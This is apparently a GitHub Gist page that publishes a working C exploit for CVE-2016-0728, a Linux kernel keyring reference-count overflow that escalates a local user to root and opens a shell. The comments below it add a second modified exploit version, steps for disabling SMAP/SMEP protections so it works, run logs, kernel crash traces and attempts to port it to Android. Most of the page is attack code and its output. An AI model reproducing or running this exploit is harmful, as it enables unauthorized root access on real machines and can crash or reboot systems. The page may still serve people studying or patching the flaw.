-
-
Save PerceptionPointTeam/18b1e86d1c0f8531ff8f to your computer and use it in GitHub Desktop.
/* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */ | |
/* $ ./cve_2016_072 PP_KEY */ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/types.h> | |
#include <keyutils.h> | |
#include <unistd.h> | |
#include <time.h> | |
#include <unistd.h> | |
#include <sys/ipc.h> | |
#include <sys/msg.h> | |
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); | |
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); | |
_commit_creds commit_creds; | |
_prepare_kernel_cred prepare_kernel_cred; | |
#define STRUCT_LEN (0xb8 - 0x30) | |
#define COMMIT_CREDS_ADDR (0xffffffff81094250) | |
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550) | |
struct key_type { | |
char * name; | |
size_t datalen; | |
void * vet_description; | |
void * preparse; | |
void * free_preparse; | |
void * instantiate; | |
void * update; | |
void * match_preparse; | |
void * match_free; | |
void * revoke; | |
void * destroy; | |
}; | |
void userspace_revoke(void * key) { | |
commit_creds(prepare_kernel_cred(0)); | |
} | |
int main(int argc, const char *argv[]) { | |
const char *keyring_name; | |
size_t i = 0; | |
unsigned long int l = 0x100000000/2; | |
key_serial_t serial = -1; | |
pid_t pid = -1; | |
struct key_type * my_key_type = NULL; | |
struct { long mtype; | |
char mtext[STRUCT_LEN]; | |
} msg = {0x4141414141414141, {0}}; | |
int msqid; | |
if (argc != 2) { | |
puts("usage: ./keys <key_name>"); | |
return 1; | |
} | |
printf("uid=%d, euid=%d\n", getuid(), geteuid()); | |
commit_creds = (_commit_creds) COMMIT_CREDS_ADDR; | |
prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR; | |
my_key_type = malloc(sizeof(*my_key_type)); | |
my_key_type->revoke = (void*)userspace_revoke; | |
memset(msg.mtext, 'A', sizeof(msg.mtext)); | |
// key->uid | |
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */ | |
//key->perm | |
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f; | |
//key->type | |
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type; | |
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { | |
perror("msgget"); | |
exit(1); | |
} | |
keyring_name = argv[1]; | |
/* Set the new session keyring before we start */ | |
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name); | |
if (serial < 0) { | |
perror("keyctl"); | |
return -1; | |
} | |
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) { | |
perror("keyctl"); | |
return -1; | |
} | |
puts("Increfing..."); | |
for (i = 1; i < 0xfffffffd; i++) { | |
if (i == (0xffffffff - l)) { | |
l = l/2; | |
sleep(5); | |
} | |
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) { | |
perror("keyctl"); | |
return -1; | |
} | |
} | |
sleep(5); | |
/* here we are going to leak the last references to overflow */ | |
for (i=0; i<5; ++i) { | |
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) { | |
perror("keyctl"); | |
return -1; | |
} | |
} | |
puts("finished increfing"); | |
puts("forking..."); | |
/* allocate msg struct in the kernel rewriting the freed keyring object */ | |
for (i=0; i<64; i++) { | |
pid = fork(); | |
if (pid == -1) { | |
perror("fork"); | |
return -1; | |
} | |
if (pid == 0) { | |
sleep(2); | |
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { | |
perror("msgget"); | |
exit(1); | |
} | |
for (i = 0; i < 64; i++) { | |
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) { | |
perror("msgsnd"); | |
exit(1); | |
} | |
} | |
sleep(-1); | |
exit(1); | |
} | |
} | |
puts("finished forking"); | |
sleep(5); | |
/* call userspace_revoke from kernel */ | |
puts("caling revoke..."); | |
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) { | |
perror("keyctl_revoke"); | |
} | |
printf("uid=%d, euid=%d\n", getuid(), geteuid()); | |
execl("/bin/sh", "/bin/sh", NULL); | |
return 0; | |
} |
Is it safe to run this PoC in production environment for checking if the patch has been applied?
With kernel 4.1.6 and grsecurity, not exploitable via overflow (but still leaks) :)
$ ./cve_2016_0728 123
uid=1000, euid=1000
Increfing...
Killed
[701688.047029] PAX: refcount overflow detected in: cve_2016_0728:15567, uid/euid: 1000/1000
[701688.047035] CPU: 2 PID: 15567 Comm: cve_2016_0728 Tainted: G I 4.1.6-1-grsec-kvm-host #29
[701688.047036] Hardware name: System manufacturer System Product Name/P6T WS PRO, BIOS 0603 02/26/2009
[701688.047039] task: ffff8801b7642c80 ti: ffff8801b76430b8 task.ti: ffff8801b76430b8
[701688.047040] RIP: 0010:[] [] find_keyring_by_name+0xdd/0x160
[701688.047047] RSP: 0018:ffffc90005dc3dd8 EFLAGS: 00000a16
[701688.047048] RAX: 0000000000000000 RBX: ffff8805f6346000 RCX: 000000007fffffff
[701688.047049] RDX: 000000007fffffff RSI: ffff8803544772c0 RDI: ffff8805f6346000
[701688.047050] RBP: ffffc90005dc3e08 R08: 0000000000000ffe R09: ffff880228ad5480
[701688.047051] R10: 0000000000000000 R11: 8080808080808080 R12: ffff8805d4240998
[701688.047052] R13: 0000000000000000 R14: ffff8801b7642c80 R15: ffffffff81d1d8c0
[701688.047054] FS: 00006b2d87d46700(0000) GS:ffff88063fc40000(0000) knlGS:0000000000000000
[701688.047055] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[701688.047056] CR2: 000061f3b08c5000 CR3: 00000005a6046000 CR4: 00000000000006f0
[701688.047057] Stack:
[701688.047058] ffff8803544772c0 ffff8805d4240998 ffff8805d4240998 ffff88046069ac00
[701688.047061] 00006b2d876adcf9 ffff8803544772c0 ffffc90005dc3e58 ffffffff812b4f59
[701688.047063] 00006b2d876adcf9 00006b2d87d46700 ffffc90005dc3e58 ffff8805d4240998
[701688.047065] Call Trace:
[701688.047068] [] join_session_keyring+0x59/0x190
[701688.047071] [] keyctl_join_session_keyring+0x37/0x60
[701688.047072] [] SyS_keyctl+0x208/0x220
[701688.047076] [] system_call_fastpath+0x12/0x85
[701688.047078] [] ? int_with_check+0x23/0x28
[701688.047079] Code: e5 48 8b bb 88 00 00 00 4c 89 e6 e8 7e cf 07 00 85 c0 75 d2 45 84 ed 74 55 8b 13 85 d2 74 c7 89 d1 83 c1 01 71 05 83 e9 01 cd 04 <89> d0 f0 0f b1 0b 39 d0 75 59 e8 74 37 e4 ff 48 89 43 60 48 c7
There were earlier comments on the time it takes to run. I have built the poc code for my S4 and I added a counter so I can make a rough estimate on how long it will take to perform the increfing loop. It's looking like it will take over 100 days. Has anyone actually run the poc on an android device? If so, how long did it take to run even if it didn't get root? I'm trying to figure out if I'm doing something wrong or if the exploit isn't practical at least on older devices.
thanks,
d
Doesn`t work on Arch Linux:
$ ./cve_2016_0728 PP_KEY
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$ uname -r
4.3.3-2-ARCH
sh-4.3$ shutdown -h now
shutdown: you must be root to do that!
@dac4755 did your process spend most of it's time in the D-state, using just about 1% cpu? it did on mine but im not sure i compiled it right.. got some warnings. Mine is also an S4...
Getting the following error when try to build in manjaro 4.1:
||=== Build: Debug in exploit (compiler: GNU GCC Compiler) ===|
/home/guest/Documents/Develop/Cpp/Projects/CVE-2016-0728/exploit/main.cpp||In function ‘int main(int, const char*)’:|
/home/guest/Documents/Develop/Cpp/Projects/CVE-2016-0728/exploit/main.cpp|62|error: invalid conversion from ‘void’ to ‘key_type*’ [-fpermissive]|
||=== Build failed: 1 error(s), 0 warning(s) (0 minute(s), 0 second(s)) ===|
@birdstream, It was cranking away, just really slowly. I added a counter for every 1000 iterations and it was taking 3-5 seconds. In contrast, on a Linux VM it cranked through the entire refcount loop in a reasonable time (I think it was 5 to 10 minutes).
Doesn't work on Kali Linux in compile time. Needs keyutils pack to compile.
If this POC is the base for the sec failure, if almost systems doesn't have this one installed, it don't will working.
Btw, I'll testing inCetOS and Fedora soon.
I'm trying to compile it and nothing happen. Binary is not created.
Dont Work on:
OS: ubuntu Ubuntu 14.04 trusty
Kernel: x86_64 Linux 3.13.0-76-generic
CPU: Intel Core i7-5500U CPU @ 2.4GHz
I don't quite understand how the refcount ends at 0:
I count 1 refcount at line 89
0xfffffffc more refcounts in the for loop at 102
and finally five more refcounts in the last loop at 114
so the refcount ends at 2 after wrapping around?
It seems that this POC fails a lot, and after running it, the key still exists via /proc/keys and the count is about 64...
I modify the loop count and some other code, then, it fails again and again, but I also get these results that runs in a virtual machine which is ubuntu 14.04 with 3.18.25 without smap & smep.
then the vm freeze.
when I run the modified exp in kali 2.0 with kernel-3.18.24(no smap no smep), the keyctl_revoke return ENOKEY,
@mah0ne, could you provide your changed code?
@itmox just a small change, I decrease the 2nd "for" loop counter, cause it seems that when refcount = 0, the next join_session_keyring will alloc a new obj with the original name, then keyctl_revoke will call the new obj ->type->revoke. but when the refcount is 0 and GC free the obj, sometime keyctl_revoke return ENOKEY,
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <sys/ipc.h>
#include <sys/msg.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
/* TODO the address */
_commit_creds commit_creds = (_commit_creds)0xffffffff81091a70;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)0xffffffff81091d70;
struct key_type {
const char *name;
size_t def_datalen;
void *vet_desc;
void *preparse;
void *free_preparse;
void *instantiate;
void *update;
void *match_preparse;
void *match_free;
void *revoke;
void *destroy;
};
/* key_revoke(struct key *key) */
void exploit(void *key)
{
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, char *argv[])
{
if (argc != 2) {
fprintf(stderr, "usage: %s <key>", argv[0]);
return -1;
}
int pid;
size_t i = 0;
unsigned long l = 0x100000000/2;
key_serial_t serial = -1;
/* prepare key_type structure */
struct key_type *m_key = malloc(sizeof(struct key_type));
m_key->revoke = (void *)exploit;
/* set msg_msg structure, is 0xb8 size */
int msgid;
struct msg_tail {
long mtype;
char mtext[0xb8-0x30];
} msgp = {0x4141414141414141, {0}};
memset(msgp.mtext, 'A', sizeof(msgp.mtext));
*(int *)(&msgp.mtext[56]) = geteuid();/* key->uid */
*(unsigned long *)(&msgp.mtext[72]) = 0x9;/* key->flag */
*(int *)(&msgp.mtext[64]) = 0x3f3f3f3f;/* key->perm */
*(unsigned long *)(&msgp.mtext[80]) = (unsigned long)m_key;
if ((msgid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("[-] msgget");
return -1;
}
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, argv[1]);
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL |
KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}
printf("uid = %d, euid = %d\n", getuid(), geteuid());
fprintf(stderr, "[+] increfs...\n");
for (i = 1; i < 0xfffffffd; i++) {
if (i == (0xffffffffUL - l)) {
sleep(5);
l = l/2;
}
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, argv[1]) < 0) {
perror("keyctl");
return -1;
}
}
sleep(5);
for (i = 0; i < 3; i++) {
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, argv[1]) < 0) {
perror("keyctl");
return -1;
}
}
fprintf(stderr, "[+] finish increfs\n");
sleep(9);
fprintf(stderr, "[+] fork...\n");
for (i = 0; i < 64; i++) {
pid = fork();
if (pid == -1) {
perror("[-] fork");
return -1;
}
if (pid == 0) {
sleep(2);
if ((msgid = msgget(IPC_PRIVATE, 0644 |
IPC_CREAT)) == -1) {
perror("[-] msgget");
exit(1);
}
for (i = 0; i < 256; i++) {
if (msgsnd(msgid, &msgp,
sizeof(msgp.mtext), 0) == -1) {
perror("[-] msgsnd");
exit(1);
}
}
sleep(-1);
exit(1);
}
}
fprintf(stderr, "exploit...\n");
sleep(5);
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1)
perror("[+] keyctl_revoke");
printf("uid = %d, euid = %d\n", getuid(), geteuid());
execl("/bin/sh", "/bin/sh", NULL);
return 0;
@mah0ne how did you deactivate smap and smep? Thanks.
@itmox I recompile the kernel,
check SMAP in .config and comment the line "CONFIG_X86_SMAP=y" then "make oldconfig",
after the new kernel done, append "nosmep" to the boot options in file /boot/grub/grub.cfg (Ubuntu)
Don't work on "Oracle Linux Server 6.7"
Kernel: 3.8.13-118.3.1.el6uek.x86_64
[tstuser1@oracle65-1 exploit-cve-2016-0728]$ ./cve_2016_0728 PP1
uid=500, euid=500
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=500, euid=500
sh-4.1$
Is it safe to run this PoC in production environment for checking if the patch has been applied?
no. Never this sort of test on a production host. With the following in mind, I need more sane testing conditions.
I've tested twice:
- on Manjaro (arch fork) with 3.18 kernel, and it panic'd (locked the system)
- on CentOS 7 with kernel 3.10, it caused a reboot.
i use @mah0ne 's kernel number and success to exploit.
ubuntu 14.04.1 x64 then download kernel 3.18.25 and compile and install.
shutdown smap in menuconfig
shutdown smep by edit /boot/grub/grub.cfg
Deletion keyutils.h, who can give me a document.
thank you..
dimon@dimon-BAZA:~$ ./cve_2016_0728 PP1
[+] uid=1000, euid=1000
[+] Resolved commit_creds to (nil)
[+] Resolved prepare_kernel_cred to (nil)
[-] You probably need to change the address of commit_creds and prepare_kernel_cred in source
[+] Increfing...
[+] Finished increfing
[+] Forking...
[+] Finished forking
[+] Caling revoke...
uid=1000, euid=1000
$ $ whoami
dimon
$
Whats wrong ?
So I compiled the latest version and get the same result
dimon@dimon-BAZA:~$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
$ whoami
dimon
$ reboot
reboot: Need to be root
$
i got the following error in android 7.1.1 in nexus6p:
"/system/bin/sh: ./cve_2016_0728: not executable: 64-bit ELF file"
@bactis can you please publish your final exploit including the make file?
@bactis
i attached here my make file and android.mk.
currently i get the following error:
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
make[1]: Entering directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
[armeabi] Compile thumb : dirtycow <= cve_2016_0728.c
./cve_2016_0728.c:14:21: fatal error: sys/msg.h: No such file or directory
#include <sys/msg.h>
^
compilation terminated.
make[1]: *** [obj/local/armeabi/objs/dirtycow/cve_2016_0728.o] Error 1
make[1]: Leaving directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
Makefile:5: recipe for target 'build' failed
make: *** [build] Error 2
@bactis
i attached here the android.mk and make file.
currently this is the error i get:
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
make[1]: Entering directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
[armeabi] Compile thumb : dirtycow <= cve_2016_0728.c
./cve_2016_0728.c:14:21: fatal error: sys/msg.h: No such file or directory
#include <sys/msg.h>
^
compilation terminated.
make[1]: *** [obj/local/armeabi/objs/dirtycow/cve_2016_0728.o] Error 1
make[1]: Leaving directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
Makefile:5: recipe for target 'build' failed
make: *** [build] Error 2
Linux-4.1.12
'''$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$'''
i use @mah0ne 's kernel number and success to exploit.
ubuntu 14.04.1 x64 then download kernel 3.18.25 and compile and install.
shutdown smap in menuconfig
shutdown smep by edit /boot/grub/grub.cfg
@nardholio I'm aware of that. But the difference is that on my Ubuntu desktop i could see the refcount go up (but still did not get root access in the end though). On my phone however it was only referenced 3 times and then the process ended up getting the D state... So i'm wondering if that is to be expected or i messed up when compiling it? There were some warning about regparm being ignored and some "spill on implicit...". But it did produce a working ARM binary